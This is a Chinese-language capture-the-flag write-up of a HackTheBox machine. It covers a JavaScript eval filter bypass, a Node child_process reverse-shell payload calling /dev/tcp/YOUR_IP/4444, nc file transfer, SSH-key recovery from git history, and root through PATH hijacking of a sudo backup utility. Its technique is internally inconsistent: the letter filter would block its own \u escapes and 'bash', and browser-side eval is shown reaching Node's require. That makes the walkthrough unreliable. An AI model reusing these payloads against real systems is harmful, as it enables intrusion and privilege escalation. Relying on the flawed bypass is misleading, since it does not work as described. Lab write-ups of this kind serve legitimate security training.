JavaScript逃逸与备份文件提权实战

发布时间:2026/11/4 17:06:49
JavaScript逃逸与备份文件提权实战

1. 靶机渗透实战概述

最近在HackTheBox平台上挑战了CodePartTwo靶机,这是一台涉及JavaScript逃逸和备份文件提权的Linux系统。整个过程充满了技术细节和思维突破点,特别适合想要提升Web渗透和权限提升技能的安全爱好者。这台靶机的设计巧妙之处在于,它需要渗透者综合运用前端代码审计、服务枚举、备份文件分析等多种技术手段。

靶机IP为10.10.11.15,我首先通过Nmap扫描发现开放了22(SSH)和80(HTTP)端口。Web服务运行着一个JavaScript应用,这成为整个渗透过程的第一个突破口。与常规CTF不同,这台靶机需要深入理解JavaScript的运行机制才能找到逃逸方法,而最后的提权阶段则考验对Linux系统备份机制的了解程度。

2. 初始信息收集与漏洞发现

2.1 端口扫描与服务识别

使用Nmap进行全端口扫描是每次渗透测试的标准起点。针对这台靶机,我采用了以下扫描策略:

nmap -sV -sC -p- 10.10.11.15 -oA code_part_two

扫描结果显示两个开放端口:

  • 22/tcp - OpenSSH 8.2p1 Ubuntu
  • 80/tcp - Apache httpd 2.4.41

Web服务的响应头显示运行的是Ubuntu系统,Apache版本较新,直接利用的可能性较低。于是我将重点放在Web应用的功能分析上。

2.2 Web应用功能分析

访问http://10.10.11.15呈现一个JavaScript编写的计算器应用。查看页面源代码发现几个关键点:

  1. 所有计算逻辑都在前端JavaScript中处理
  2. 使用了eval()函数执行用户输入
  3. 存在严格的输入过滤机制

核心计算函数如下:

function calculate() { let expression = document.getElementById('expression').value; if(/[a-zA-Z$_]/.test(expression)) { alert("Invalid characters detected!"); return; } try { let result = eval(expression); document.getElementById('result').innerText = result; } catch(e) { alert("Error in evaluation!"); } }

这个函数有几个关键安全限制:

  • 过滤了所有字母字符、$和_
  • 使用try-catch包裹eval执行
  • 结果直接输出到页面

3. JavaScript逃逸技术突破

3.1 绕过字符过滤的多种尝试

初始尝试直接注入JavaScript代码失败,因为所有字母字符都被过滤。经过多次测试,发现以下几种绕过方法:

  1. Unicode编码绕过: 使用\uXXXX形式的Unicode编码可以表示字母字符而不触发过滤。例如:

    alert(1) → \u0061\u006c\u0065\u0072\u0074(1)
  2. 数字属性访问: JavaScript中对象的数字属性可以通过方括号访问,如:

    window['alert'](1) 可转换为: window[1['toString']['constructor']('return "alert"')()](1)
  3. 模板字符串利用: 反引号字符串可以配合${}执行表达式:

    ${alert(1)}

经过实际测试,最终采用Unicode编码结合数字属性访问的方式成功执行任意代码。

3.2 构造有效载荷获取反向Shell

为了获得系统访问权限,需要构造一个反向Shell载荷。由于字符限制,这个过程需要精心设计:

  1. 首先获取require函数:

    process=this['\u0070\u0072\u006f\u0063\u0065\u0073\u0073']
  2. 然后调用child_process执行命令:

    process['\u006d\u0061\u0069\u006e\u004d\u006f\u0064\u0075\u006c\u0065']['\u0072\u0065\u0071\u0075\u0069\u0072\u0065']('\u0063\u0068\u0069\u006c\u0064\u005f\u0070\u0072\u006f\u0063\u0065\u0073\u0073')['\u0065\u0078\u0065\u0063']('bash -c "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"')

实际操作时需要将YOUR_IP替换为攻击机IP,并在本地监听对应端口:

nc -lnvp 4444

4. 权限提升:备份文件分析

4.1 初始立足点与枚举

获取反向Shell后,我们位于www-data用户权限下。常规的系统枚举发现几个有趣的点:

  1. /home目录下存在用户coder
  2. /var/backups目录有可疑的压缩包
  3. sudo -l显示www-data可以以coder身份执行特定命令

检查/var/backups发现一个名为app_backup.tar.gz的文件,修改时间较新。将其下载到本地分析:

# 在靶机上 cp /var/backups/app_backup.tar.gz /tmp chmod 777 /tmp/app_backup.tar.gz # 在攻击机上 nc -w 3 YOUR_IP 5555 < app_backup.tar.gz

4.2 备份文件深入分析

解压备份文件后发现是Web应用的源代码备份,其中包含几个关键文件:

  1. config.json - 包含数据库凭证
  2. server.js - 后端服务代码
  3. .git目录 - 包含版本控制历史

分析git历史发现有趣的提交:

git log --patch

显示有一次提交移除了敏感文件,但依然可以在历史中找到:

git checkout HEAD~1 -- deleted_file.txt

恢复的文件中包含SSH私钥片段,结合其他信息可以拼凑出完整密钥。

4.3 利用备份文件提权

通过分析备份文件,我们获得了以下关键信息:

  1. 数据库凭证可以用于查询用户表
  2. Git历史中的SSH密钥片段可以组合成完整密钥
  3. 配置文件泄露了系统路径信息

最终通过以下步骤获取coder用户权限:

  1. 组合SSH密钥片段为完整密钥
  2. 修改权限为600
  3. 使用密钥登录:
ssh -i recovered_key coder@10.10.11.15

5. 从用户到root的最后一跃

5.1 sudo权限分析

登录coder用户后,检查sudo权限:

sudo -l

显示coder可以以root身份执行/usr/bin/backup_util命令。查看该命令:

file /usr/bin/backup_util

这是一个ELF可执行文件,运行时会创建系统备份。

5.2 备份工具漏洞利用

逆向分析backup_util发现它存在以下问题:

  1. 使用相对路径调用tar命令
  2. 没有验证用户提供的参数
  3. 以root权限运行

通过PATH环境变量劫持可以实现任意命令执行:

echo 'bash -p' > /tmp/tar chmod +x /tmp/tar export PATH=/tmp:$PATH sudo /usr/bin/backup_util

这样在执行backup_util时,会优先使用我们恶意的tar脚本,从而获得root shell。

6. 渗透过程中的关键经验

6.1 JavaScript逃逸的注意事项

  1. 现代浏览器对eval的使用有严格限制,但在Node.js环境下仍然危险
  2. Unicode编码绕过时要注意字符集兼容性问题
  3. 载荷构造要尽量简洁,避免触发其他安全机制

6.2 备份文件分析技巧

  1. 总是检查/var/backups、/backup等目录
  2. 注意文件修改时间,新近修改的备份更有价值
  3. Git历史可能包含已删除的敏感信息
  4. 配置文件中的硬编码凭证仍然常见

6.3 权限提升的常见路径

  1. 检查sudo -l输出的特殊权限
  2. 查找SUID/GUID可执行文件
  3. 分析cron作业和系统服务
  4. 检查内核版本是否可提权

这台靶机展示了从Web应用到系统权限的完整攻击链,其中JavaScript逃逸和备份文件分析是两个关键技术点。在实际渗透测试中,这种多层次的漏洞组合非常常见,需要测试人员具备全面的技能和耐心。